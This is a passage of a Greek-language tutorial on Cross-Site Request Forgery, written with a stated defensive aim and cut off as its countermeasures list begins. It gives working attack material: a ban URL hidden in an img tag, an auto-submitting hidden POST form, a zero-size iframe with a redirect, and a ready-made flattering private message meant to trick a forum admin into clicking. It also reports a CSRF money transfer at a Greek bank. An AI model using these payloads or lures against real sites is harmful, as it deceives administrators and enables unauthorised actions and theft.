&lt;p&gt;&lt;b&gt;&lt;span&gt;&lt;a href="http://www.totexnitositemas.gr/index.php?page=admin&amp;amp;act=members&amp;amp;func=ban&amp;amp;id=2"&gt;http&lt;span style="mso-ansi-language:EL;"&gt;://&lt;/span&gt;www&lt;span style="mso-ansi-language:EL;"&gt;.&lt;/span&gt;ToTexnitoSiteMas&lt;span style="mso-ansi-language:EL;"&gt;.&lt;/span&gt;gr&lt;span style="mso-ansi-language:EL;"&gt;/&lt;/span&gt;index&lt;span style="mso-ansi-language:EL;"&gt;.&lt;/span&gt;php&lt;span style="mso-ansi-language:EL;"&gt;?&lt;/span&gt;page&lt;span style="mso-ansi-language:EL;"&gt;=&lt;/span&gt;admin&lt;span style="mso-ansi-language:EL;"&gt;&amp;amp;&lt;/span&gt;act&lt;span style="mso-ansi-language:EL;"&gt;=&lt;/span&gt;members&lt;span style="mso-ansi-language:EL;"&gt;&amp;amp;&lt;/span&gt;func&lt;span style="mso-ansi-language:EL;"&gt;=&lt;/span&gt;ban&lt;span style="mso-ansi-language:EL;"&gt;&amp;amp;&lt;/span&gt;id&lt;span style="mso-ansi-language:EL;"&gt;=2&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/b&gt;&lt;span style="mso-ansi-language:EL;"&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;&lt;span style="mso-ansi-language:EL;"&gt;Χμ... απ’ ότι βλέπουμε το μόνο που
χρειάζεται είναι να περάσουμε το &lt;/span&gt;&lt;span&gt;id&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; του χρήστη που θέλουμε να μπανάρουμε στην
μεταβλητή “&lt;/span&gt;&lt;span&gt;id&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;”. Το &lt;/span&gt;&lt;span&gt;id&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;
ενός χρήστη είναι πάρα πολύ εύκολο να το βρούμε διότι δεν αποτελεί κάποια
κρυμμένη πληροφορία. Μπορούμε να το βρούμε συνήθως πηγαίνοντας στην λίστα μελών
(&lt;/span&gt;&lt;span&gt;members&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;) του
&lt;/span&gt;&lt;span&gt;forum&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; και
εκεί να κάνουμε &lt;/span&gt;&lt;span&gt;click&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; στον συγκεκριμένο χρήστη. Στην γραμμή &lt;/span&gt;&lt;span&gt;URL&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; του &lt;/span&gt;&lt;span&gt;browser&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; μας ή (πάλι με την χρήση του &lt;/span&gt;&lt;span&gt;http&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;-&lt;/span&gt;&lt;span&gt;headers&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;) θα δούμε το &lt;/span&gt;&lt;span&gt;id&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; του χρήστη. Μόλις
ολοκληρώσαμε επιτυχώς το βήμα 1.&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;&lt;span style="mso-ansi-language:EL;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;&lt;span style="mso-ansi-language:EL;"&gt;Ερχόμαστε τώρα στο βήμα 2. Πρέπει να
φτιάξουμε ένα &lt;/span&gt;&lt;span&gt;link&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; κάπου το οποίο θα εκτελεί την παραπάνω εντολή ως εξής:&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;&lt;span&gt;&lt;a href="http://www.tositestoxos.gr/index.php?page=admin&amp;amp;act=members&amp;amp;func=ban&amp;amp;id=245"&gt;http&lt;span style="mso-ansi-language:EL;"&gt;://&lt;/span&gt;www&lt;span style="mso-ansi-language:EL;"&gt;.&lt;/span&gt;ToSiteStoxos&lt;span style="mso-ansi-language:EL;"&gt;.&lt;/span&gt;gr&lt;span style="mso-ansi-language:EL;"&gt;/&lt;/span&gt;index&lt;span style="mso-ansi-language:EL;"&gt;.&lt;/span&gt;php&lt;span style="mso-ansi-language:EL;"&gt;?&lt;/span&gt;page&lt;span style="mso-ansi-language:EL;"&gt;=&lt;/span&gt;admin&lt;span style="mso-ansi-language:EL;"&gt;&amp;amp;&lt;/span&gt;act&lt;span style="mso-ansi-language:EL;"&gt;=&lt;/span&gt;members&lt;span style="mso-ansi-language:EL;"&gt;&amp;amp;&lt;/span&gt;func&lt;span style="mso-ansi-language:EL;"&gt;=&lt;/span&gt;ban&lt;span style="mso-ansi-language:EL;"&gt;&amp;amp;&lt;/span&gt;id&lt;span style="mso-ansi-language:EL;"&gt;=245&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;&lt;span style="mso-ansi-language:EL;"&gt;όπου το 245 είναι το &lt;/span&gt;&lt;span&gt;id&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; του χρήστη που μας
είναι αντιπαθής και το “&lt;/span&gt;&lt;span&gt;www&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;.&lt;/span&gt;&lt;span&gt;ToSiteStoxos&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;.&lt;/span&gt;&lt;span&gt;gr&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;” είναι το προς επίθεση &lt;/span&gt;&lt;span&gt;site&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;.&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;&lt;span style="mso-ansi-language:EL;"&gt;Αυτό που τώρα μένει είναι να κρύψουμε την
παραπάνω εντολή μέσα σε ένα κάποιο αρχείο &lt;/span&gt;&lt;span&gt;html&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; και να το στείλουμε με την μορφή &lt;/span&gt;&lt;span&gt;link&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; στον &lt;/span&gt;&lt;span&gt;administrator&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; του &lt;/span&gt;&lt;span&gt;forum&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;. Μόλις κάνει &lt;/span&gt;&lt;span&gt;click&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; επάνω σε αυτό και με
το δεδομένο ότι έχει μπει στο &lt;/span&gt;&lt;span&gt;forum&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; του (βασικό αυτό – για να έχουν ενεργοποιηθεί τα
μπισκοτάκια του!), θα εκτελεστεί η εντολή αποβολής του χρήστη με &lt;/span&gt;&lt;span&gt;id&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; 245, στον δικό του
υπολογιστή. Δηλαδή στον υπολογιστή που έχει το σωστό &lt;/span&gt;&lt;span&gt;cookie&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;! Έτσι ο &lt;/span&gt;&lt;span&gt;admin&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; χωρίς να το θέλει θα αποβάλει τον χρήστη 245.&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;&lt;span style="mso-ansi-language:EL;"&gt;Έχουμε όμως να ξεπεράσουμε μερικά μικρά
εμπόδια: Δεν πρέπει σε καμιά περίπτωση &lt;/span&gt;&lt;span&gt;o&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; διαχειριστής να καταλάβει τι έκανε. Δηλαδή θα
πρέπει να βλέπει στην οθόνη του κάτι τελείως άσχετο με την κρυφή ενέργεια μας
ώστε να μην πονηρευτεί πως κάτι περίεργο συμβαίνει. Πώς θα το κάνουμε αυτό;
Χμ... εδώ θα κάνουμε ένα μικρό &lt;/span&gt;&lt;span&gt;trick&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; με την &lt;/span&gt;&lt;span&gt;html&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;. Θα κρύψουμε την εντολή αυτή μέσα σε μια...
εικόνα! Μόλις το αρχείο &lt;/span&gt;&lt;span&gt;html&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; θα ανοίξει από το &lt;/span&gt;&lt;span&gt;browser&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; του θύματος, το πρώτο πράγμα που θα κάνει ο &lt;/span&gt;&lt;span&gt;browser&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; είναι να πάει να
ανοίξει όλες τις εικόνες που αναφέρονται μέσα στο αρχείο αυτό. Μια από αυτές
όμως δεν θα είναι πραγματική εικόνα. Ο &lt;/span&gt;&lt;span&gt;browser&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; δεν είναι σε θέση να το γνωρίζει αυτό, οπότε θα
εκτελέσει τον... κακό μας κώδικα!&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;&lt;span style="mso-ansi-language:EL;"&gt;Φτιάχνουμε λοιπόν το αρχείο &lt;/span&gt;&lt;span&gt;html&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; που θα είναι το
δόλωμα μας:&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;&lt;span style="mso-ansi-language:EL;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;&lt;u&gt;&lt;b&gt;&lt;span&gt;ArxeioDoloma.html&lt;/span&gt;&lt;/b&gt;&lt;/u&gt;&lt;br&gt;&lt;b&gt;&amp;lt;img src="http://tbn2.google.com/images?q=tbn:B6T6sKSdPglmgM:http://www.pnl.gov/breakthroughs/issues/2005-issues/fall/images/cyber_security.jpg"/&amp;gt;&lt;br&gt;&amp;lt;img src="http://tbn1.google.com/images?q=tbn:UwCxyuruNPQ90M:http://www.cbc.ca/news/background/computer-security/gfx/titlephoto.jpg"/&amp;gt;&lt;br&gt;&amp;lt;img src="http://www.ieee-security.org/Cipher/IMAGES/HORSE-nosky-red-trans2.gif&amp;gt;&lt;br&gt;&amp;lt;img src="http://tbn0.google.com/images?q=tbn:33Ss5eKab3X_fM:http://www.freedomsecurity.us/Security%20Badge.jpg"/&amp;gt;&lt;br&gt;&amp;lt;img src="http://www.s3curity.gr/babbleboard/index.php?page=admin&amp;amp;act=members&amp;amp;func=ban&amp;amp;id=4"/&amp;gt;&lt;br&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="mso-ansi-language:EL;"&gt;Απ’ ότι βλέπετε η εντολή που θα κάνει την
«δουλειά» είναι η τελευταία η οποία είναι κρυμμένη μέσα σε ένα &amp;lt;&lt;/span&gt;&lt;span&gt;img&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;&amp;gt; &lt;/span&gt;&lt;span&gt;tag&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;! Το επόμενο βήμα μας
είναι να ανεβάσουμε αυτό το αρχείο σε κάποιον &lt;/span&gt;&lt;span&gt;server&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; (π.χ. σε αυτόν που δοκιμάσαμε το &lt;/span&gt;&lt;span&gt;forum&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; μας στο βήμα 1) και
μετά στείλουμε ένα πολύ όμορφο &lt;/span&gt;&lt;span&gt;PM&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; (&lt;/span&gt;&lt;span&gt;Personal&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; &lt;/span&gt;&lt;span&gt;Message&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;) στον διαχειριστή και να του λέμε τα εξής:&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;--- &lt;br&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;&lt;i&gt;&lt;span style="mso-ansi-language:EL;"&gt;Φίλε &lt;/span&gt;&lt;span&gt;Admin&lt;/span&gt;&lt;/i&gt;&lt;i&gt;&lt;span style="mso-ansi-language:EL;"&gt; γεια χαρά,&lt;/span&gt;&lt;/i&gt;&lt;span style="mso-ansi-language:EL;"&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;b&gt;
&lt;/b&gt;
&lt;p&gt;&lt;b&gt;&lt;i&gt;&lt;span style="mso-ansi-language:EL;"&gt;Κατ’ αρχάς θέλω να σε συγχαρώ για την
καταπληκτική δουλειά που έχει κάνει στο &lt;/span&gt;&lt;span&gt;forum&lt;/span&gt;&lt;/i&gt;&lt;i&gt;&lt;span style="mso-ansi-language:EL;"&gt;.&lt;/span&gt;&lt;/i&gt;&lt;i&gt;&lt;span style="mso-ansi-language:EL;"&gt;&lt;br&gt;
&lt;i&gt;Είμαι 10 χρόνια &lt;/i&gt;&lt;/span&gt;&lt;i&gt;&lt;span&gt;web&lt;/span&gt;&lt;/i&gt;&lt;/i&gt;&lt;span style="mso-ansi-language:EL;"&gt; &lt;/span&gt;&lt;i&gt;&lt;span&gt;designer&lt;/span&gt;&lt;/i&gt;&lt;i&gt;&lt;span style="mso-ansi-language:EL;"&gt; αλλά με ενδιαφέρει πάρα πολύ και το θέμα του &lt;/span&gt;&lt;span&gt;security&lt;/span&gt;&lt;/i&gt;&lt;i&gt;&lt;span style="mso-ansi-language:EL;"&gt;. &lt;/span&gt;&lt;/i&gt;&lt;i&gt;&lt;span style="mso-ansi-language:EL;"&gt;&lt;br&gt;
&lt;i&gt;Στο &lt;/i&gt;&lt;/span&gt;&lt;i&gt;&lt;span&gt;forum&lt;/span&gt;&lt;/i&gt;&lt;/i&gt;&lt;i&gt;&lt;span style="mso-ansi-language:EL;"&gt; σας βρήκα αυτό που ακριβώς έψαχνα: ένα χώρο
αξιόπιστο και με γνώσεις για κάποιον που θέλει να μάθει.&lt;/span&gt;&lt;/i&gt;&lt;i&gt;&lt;span style="mso-ansi-language:EL;"&gt;&lt;br&gt;
&lt;/span&gt;&lt;i&gt;&lt;span&gt;Btw&lt;/span&gt;&lt;/i&gt;&lt;/i&gt;&lt;i&gt;&lt;span style="mso-ansi-language:EL;"&gt;, βρίσκω τα βασικό &lt;/span&gt;&lt;span&gt;banner&lt;/span&gt;&lt;/i&gt;&lt;span style="mso-ansi-language:EL;"&gt; &lt;/span&gt;&lt;i&gt;&lt;span style="mso-ansi-language:EL;"&gt;του &lt;/span&gt;&lt;span&gt;site&lt;/span&gt;&lt;/i&gt;&lt;span style="mso-ansi-language:EL;"&gt; &lt;/span&gt;&lt;i&gt;&lt;span style="mso-ansi-language:EL;"&gt;σας
μια χαρά, αλλά θα ήθελα να σε ενημερώσω ότι τεχνολογικά υπάρχουν κι άλλες
νεότερες υλοποιήσεις τις οποίες έχω σχεδιάσει εγώ ο ίδιος για κάποιους πελάτες
μου στο παρελθόν. Θα χαρώ να τις μοιραστώ μαζί σας, φυσικά χωρίς καμιά απολύτως
χρέωση. Αν σε ενδιαφέρει ρίξε μια ματιά στο παρακάτω &lt;/span&gt;&lt;span&gt;link&lt;/span&gt;&lt;/i&gt;&lt;i&gt;&lt;span style="mso-ansi-language:EL;"&gt; για να δεις για τι πράγμα σου μιλάω:&lt;/span&gt;&lt;/i&gt;&lt;span style="mso-ansi-language:EL;"&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;b&gt;
&lt;/b&gt;
&lt;p style="margin-bottom:12.0pt;"&gt;&lt;b&gt;&lt;i&gt;&lt;span style="mso-ansi-language:EL;"&gt;&lt;br&gt;
&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style="mso-ansi-language:EL;"&gt;LINK--&amp;gt; &lt;/span&gt;&lt;b&gt;&lt;i&gt;&lt;span style="mso-ansi-language:EL;"&gt;&lt;i&gt;&amp;lt;&lt;/i&gt;&lt;/span&gt;&lt;i&gt;&lt;span&gt;a&lt;/span&gt;&lt;/i&gt;&lt;/i&gt;&lt;span style="mso-ansi-language:EL;"&gt; &lt;/span&gt;&lt;i&gt;&lt;span&gt;href&lt;/span&gt;&lt;/i&gt;&lt;i&gt;&lt;span style="mso-ansi-language:EL;"&gt;="&lt;/span&gt;&lt;span&gt;http&lt;/span&gt;&lt;/i&gt;&lt;i&gt;&lt;span style="mso-ansi-language:EL;"&gt;://&lt;/span&gt;&lt;span&gt;www&lt;/span&gt;&lt;/i&gt;&lt;i&gt;&lt;span style="mso-ansi-language:EL;"&gt;.&lt;/span&gt;&lt;span&gt;ToTexnitoSiteMas&lt;/span&gt;&lt;/i&gt;&lt;i&gt;&lt;span style="mso-ansi-language:EL;"&gt;.&lt;/span&gt;&lt;span&gt;gr&lt;/span&gt;&lt;/i&gt;&lt;i&gt;&lt;span style="mso-ansi-language:EL;"&gt;/&lt;/span&gt;&lt;span&gt;ArxeioDoloma&lt;/span&gt;&lt;/i&gt;&lt;i&gt;&lt;span style="mso-ansi-language:EL;"&gt;.&lt;/span&gt;&lt;span&gt;html&lt;/span&gt;&lt;/i&gt;&lt;i&gt;&lt;span style="mso-ansi-language:EL;"&gt;"&amp;gt;Οι Εκόνες μου&amp;lt;/&lt;/span&gt;&lt;span&gt;a&lt;/span&gt;&lt;/i&gt;&lt;i&gt;&lt;span style="mso-ansi-language:EL;"&gt;&amp;gt;&lt;/span&gt;&lt;/i&gt;&lt;span style="mso-ansi-language:EL;"&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;b&gt;
&lt;/b&gt;
&lt;p&gt;&lt;b&gt;&lt;i&gt;&lt;span style="mso-ansi-language:EL;"&gt;Ζητώ συγγνώμη αν κάποιες είναι &lt;/span&gt;&lt;span&gt;broken&lt;/span&gt;&lt;/i&gt;&lt;i&gt;&lt;span style="mso-ansi-language:EL;"&gt;, μια και
είναι από &lt;/span&gt;&lt;span&gt;sites&lt;/span&gt;&lt;/i&gt;&lt;i&gt;&lt;span style="mso-ansi-language:EL;"&gt; πελατών μου και μπορεί να τις έχουμε αλλάξει θέση.&lt;/span&gt;&lt;/i&gt;&lt;span style="mso-ansi-language:EL;"&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;b&gt;
&lt;/b&gt;
&lt;p&gt;&lt;b&gt;&lt;i&gt;&lt;span style="mso-ansi-language:EL;"&gt;Σε ευχαριστώ και πάλι για όλες τις
χρήσιμες πληροφορίες που μας παρέχεις!&lt;/span&gt;&lt;/i&gt;&lt;span style="mso-ansi-language:EL;"&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;b&gt;
&lt;/b&gt;
&lt;p&gt;&lt;b&gt;&lt;i&gt;&lt;span&gt;O&lt;/span&gt;&lt;/i&gt;&lt;i&gt;&lt;span style="mso-ansi-language:EL;"&gt;_&lt;/span&gt;&lt;span&gt;Kakos&lt;/span&gt;&lt;/i&gt;&lt;i&gt;&lt;span style="mso-ansi-language:EL;"&gt;_&lt;/span&gt;&lt;span&gt;Daimonas&lt;/span&gt;&lt;/i&gt;&lt;span style="mso-ansi-language:EL;"&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;b&gt;
&lt;/b&gt;
&lt;p&gt;--- &lt;br&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="mso-ansi-language:EL;"&gt;Μόλις λοιπόν ο &lt;/span&gt;&lt;span&gt;admin&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; διαβάσει το παραπάνω &lt;/span&gt;&lt;span&gt;PM&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; θα σπεύσει (ελπίζουμε, σαν κακόπιστοι και
υποχθόνιοι τύποι που είμαστε) να πατήσει το &lt;/span&gt;&lt;span&gt;link&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; για να δει ποιο είναι αυτό το νέο και μοντέρνο &lt;/span&gt;&lt;span&gt;banner&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; που θέλει να του
προσφέρει δωρεάν ο φίλος “&lt;/span&gt;&lt;span&gt;O&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;_&lt;/span&gt;&lt;span&gt;Kakos&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;_&lt;/span&gt;&lt;span&gt;Daimonas&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;”. Θα δει λοιπόν τα παρακάτω:&lt;/span&gt;&lt;/p&gt;

&lt;p class="rtecenter"&gt;&lt;img src="https://farm1.staticflickr.com/645/22074178012_b6fb945f63_b.jpg"&gt;&lt;br&gt;
Εικόνα 4: Ένα αρχείο με κάποιες εικόνες. Κάποιες είναι... broken, όχι όμως λόγο
του οτι λείπει το link!&lt;/p&gt;

&lt;p&gt;&lt;span style="mso-ansi-language:EL;"&gt;Όταν ο διαχειριστής θα δει την παραπάνω
εικόνα, το κακό θα έχει ήδη γίνει και δεν θα έχει πάρει «μυρωδιά»! Οι εικόνες
θα έχουν εκτελεστεί από τον &lt;/span&gt;&lt;span&gt;web&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; &lt;/span&gt;&lt;span&gt;browser&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; και ο καημένος ο χρήστης θα έχει γίνει &lt;/span&gt;&lt;span&gt;ban&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; χωρίς να έχει κάνει
τίποτε κακό! &lt;/span&gt;&lt;span&gt;Ένα ακόμα Cross Site Request Forgery
vulnerability θα έχει επιτευχθεί!&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;

&lt;h2&gt;Πιο προχωρημένες τεχνικές&lt;/h2&gt;

&lt;p&gt;&lt;span&gt;Η παραπάνω τεχνική ήταν από τις πιο απλές και εύκολες στην
υλοποίηση. Αυτό διότι υλοποιούσε το μοντέλο &lt;a href="http://www.w3schools.com/tags/ref_httpmethods.asp"&gt;GET&lt;/a&gt;. Δηλαδή όλες
οι απαραίτητες πληροφορίες για την επίθεση περνούσαν στον server από την γραμμή
του web browser μας (στην γραμμή διευθύνσεων – το λεγόμενο URL box) σαν
παράμετροι στο βασικό αρχείο index.php. Δεν λειτουργούν όμως όλες οι επιθέσεις
έτσι. Πολλά και μάλιστα σοβαρά sites υλοποιούν το μοντέλο &lt;a href="http://www.w3schools.com/tags/ref_httpmethods.asp"&gt;POST&lt;/a&gt;. Δηλαδή οι
βασικές παράμετροι μιας ενέργειας περνάνε με την μορφή κρυφών μεταβλητών οι
οποίες δεν είναι ορατές στο URL box. Και σε αυτές τις περιπτώσεις (δυστυχώς)
μπορούμε να υλοποιήσουμε επιθέσεις, με την χρήση JavaScript.&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;&lt;span&gt;Για παράδειγμα, έστω ότι βλέπαμε μέσω http-headers, σε
κάποιο forum, πως όταν διαγράφουμε έναν χρήστη εκτελείτε η παρακάτω ενέργεια:&lt;/span&gt;&lt;/p&gt;

&lt;p class="rtecenter"&gt;&lt;img src="https://farm6.staticflickr.com/5744/22060500366_f1d05f4fd3_b.jpg" height="485" width="750"&gt;&lt;br&gt;
Εικόνα 5: Διαγραφή ενός χρήστη με την χρήση POST requests.&lt;/p&gt;

&lt;p&gt;&lt;span&gt;Εδώ δεν μπορούμε να καλέσουμε απλά μια εντολή στην την
γραμμή διεύθυνσης του browser μας. Θα πρέπει να υλοποιήσουμε την επίθεση
γράφοντας πρώτα τον παρακάτω κώδικα:&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;&lt;span&gt;&lt;u&gt;&lt;b&gt;csrf_exploit2.php&lt;br&gt;&lt;/b&gt;&lt;/u&gt;&lt;b&gt;&amp;lt;html&amp;gt;&lt;br&gt;&amp;lt;form name="admin" action="http://www.ToSiteStoxos.gr/index.php" method="POST"&amp;gt;&lt;br&gt;&amp;nbsp;&amp;nbsp; &amp;lt;input type="hidden" name="action" value="ThreadDelete"&amp;gt;&lt;br&gt;&amp;nbsp;&amp;nbsp; &amp;lt;input type="hidden" name="threadID" value="5"&amp;gt;&lt;br&gt;&amp;nbsp;&amp;nbsp; &amp;lt;input type="hidden" name="x" value="2"&amp;gt;&lt;br&gt;&amp;nbsp;&amp;nbsp; &amp;lt;input type="hidden" name="y" value="8"&amp;gt;&lt;br&gt;&amp;lt;/form&amp;gt;&lt;br&gt;&amp;lt;script&amp;gt;document.admin.submit()&amp;lt;/script&amp;gt;&lt;br&gt;&amp;lt;/html&amp;gt;&lt;br&gt;&lt;/b&gt;&lt;br&gt;&lt;/span&gt;&lt;/p&gt;
&lt;span&gt; &lt;/span&gt;&lt;span&gt;Δηλαδή υλοποιούμε τις μεταβλητές με κρυμμένες μεταβλητές
html, όπως ακριβώς κάνει και το κανονικό forum-στόχος. Το αντίστοιχο αρχείο
δόλωμα όμως δεν θα ήτανε το csrf_exploit2.php, αλλά κάποιο άλλο που θα καλούσε
(έμμεσα) το csrf_exploit2.php. Δηλαδή κάτι σαν αυτό:&lt;/span&gt;

&lt;p&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;&lt;u&gt;&lt;b&gt;&lt;span&gt;ArxeioDoloma2.html&lt;/span&gt;&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;b&gt;
&lt;/b&gt;
&lt;p&gt;&lt;b&gt;&lt;span&gt;&amp;lt;html&amp;gt;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span&gt;&lt;br&gt;&amp;nbsp; &amp;lt;IFRAME src="http://www.ToSiteStoxos.gr/csrf_exploit2.php" WIDTH=0 HEIGHT=0
frameborder=0&amp;gt;&amp;lt;/IFRAME&amp;gt;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span&gt;&lt;br&gt;&amp;nbsp; &amp;lt;meta HTTP-EQUIV="REFRESH" content="0;
url=http://twitter.com/totalXAKER"&amp;gt;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span&gt;&lt;br&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;&lt;span&gt;Το ArxeioDoloma2.html χρησιμοποιεί πιο προχωρημένη τεχνική
phishing οδηγώντας το θύμα στο twitter του total Xaker, κρύβοντας εντέχνως
(μέσω IFRAME με μηδενικό μέγεθος!) τον πραγματικό του στόχο που είναι η κλήση
και η εκτέλεση του csrf_exploit2.php!&lt;/span&gt;&lt;/p&gt;

&lt;h2&gt;Η αλήθεια βρίσκεται εκεί έξω&lt;/h2&gt;

&lt;p&gt;&lt;span&gt;Δυστυχώς η αλήθεια δεν βρίσκεται σε μικρά forums και σε
ψευτο-διαμάχες μεταξύ χρηστών, αλλά σε πιο σοβαρά θέματα όπως η κλοπή
προσωπικών δεδομένων, η κλοπή χρημάτων μέσω παράκαμψης ασφάλειας σε περιβάλλον
web-banking και διάφορα άλλα τέτοια «όμορφα». H συγκεκριμένη αδυναμία είναι μεν σχετικά παλιά, αλλά είναι και αρκετά σπάνια και όχι τόσο διαδεδομένη. Είναι
όμως ΠΑΡΑ ΠΟΛΥ &lt;a href="http://www.darkreading.com/risk/csrf-vulnerability-a-sleeping-giant/d/d-id/1128371"&gt;επικίνδυνη&lt;/a&gt;!&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;&lt;span&gt;Οφείλουμε να ειδοποιήσουμε όλους όσους διαβάσουν αυτό το
άρθρο ότι τα παράδειγμα μας ήταν εντελώς αληθινά και δυστυχώς δεν περιορίζονταν
μόνο σε μικρά forums. Ο στόχος μας όμως είναι η γνώση για την προφύλαξη και όχι
για την επίθεση! Όσοι έχουν πρόσβαση σε μεγάλους οργανισμούς ή εταιρίες ας
πονηρευτούν. &lt;/span&gt;&lt;/p&gt;

&lt;p&gt;&lt;span&gt;Η παρακάτω εικόνα (ελπίζω αρκετά καλά κρυμένη) δείχνει την
υλοποίηση μιας επιτυχημένης επίθεσης σε Web Banking μεγάλης Ελληνικής Τράπεζας
με αποτέλεσμα την μεταφορά χρημάτων από ένα λογ/μό σε ένα άλλο, χωρίς την...
συγκατάθεση του χρήστη! &lt;/span&gt;&lt;/p&gt;

&lt;img src="https://farm1.staticflickr.com/610/22086681365_ee1cb8161a_b.jpg"&gt;

&lt;p&gt;&lt;span style="mso-ansi-language:EL;"&gt;Φυσικά δεν θα ήθελα να περιμένει κάποιος
να δείξουμε συγκεκριμένες λεπτομέρειες από την συγκεκριμένη επίθεση, αν και δεν
διαφέρει σε τίποτα (σε μεθοδολογία) από αυτές που ήδη παρουσιάστηκαν. Η
συγκεκριμένη επίθεση μετέφερε 11€ από ένα λογαριασμό (πηγή) σε ένα άλλο
λογαριασμό (στόχο). Μάλιστα πριν γίνει η ανορθόδοξη μεταφορά (μέσω της
επίθεσης) έγινε μια κανονική μεταφορά (10€) από τον ίδια πηγή στον ίδιο στόχο.
Όπως βλέπετε η κινήσεις στον λογ/μό στόχο δεν φαίνεται να έχουν καμιά
διαφορά... Αναφέρονται σαν 2 απλές καταθέσεις. &lt;/span&gt;&lt;/p&gt;

&lt;h2&gt;Αντίμετρα&lt;/h2&gt;

&lt;p&gt;&lt;span style="mso-ansi-language:EL;"&gt;Λάβετε σοβαρά υπ’ όψη αυτήν την αδυναμία
και (για αρχή) σαν χρήστες κάντε τα παρακάτω:&lt;/span&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;mso-list:l1 level1 lfo2;mso-hyphenate:auto;tab-stops:list 36.0pt;"&gt;Να μην
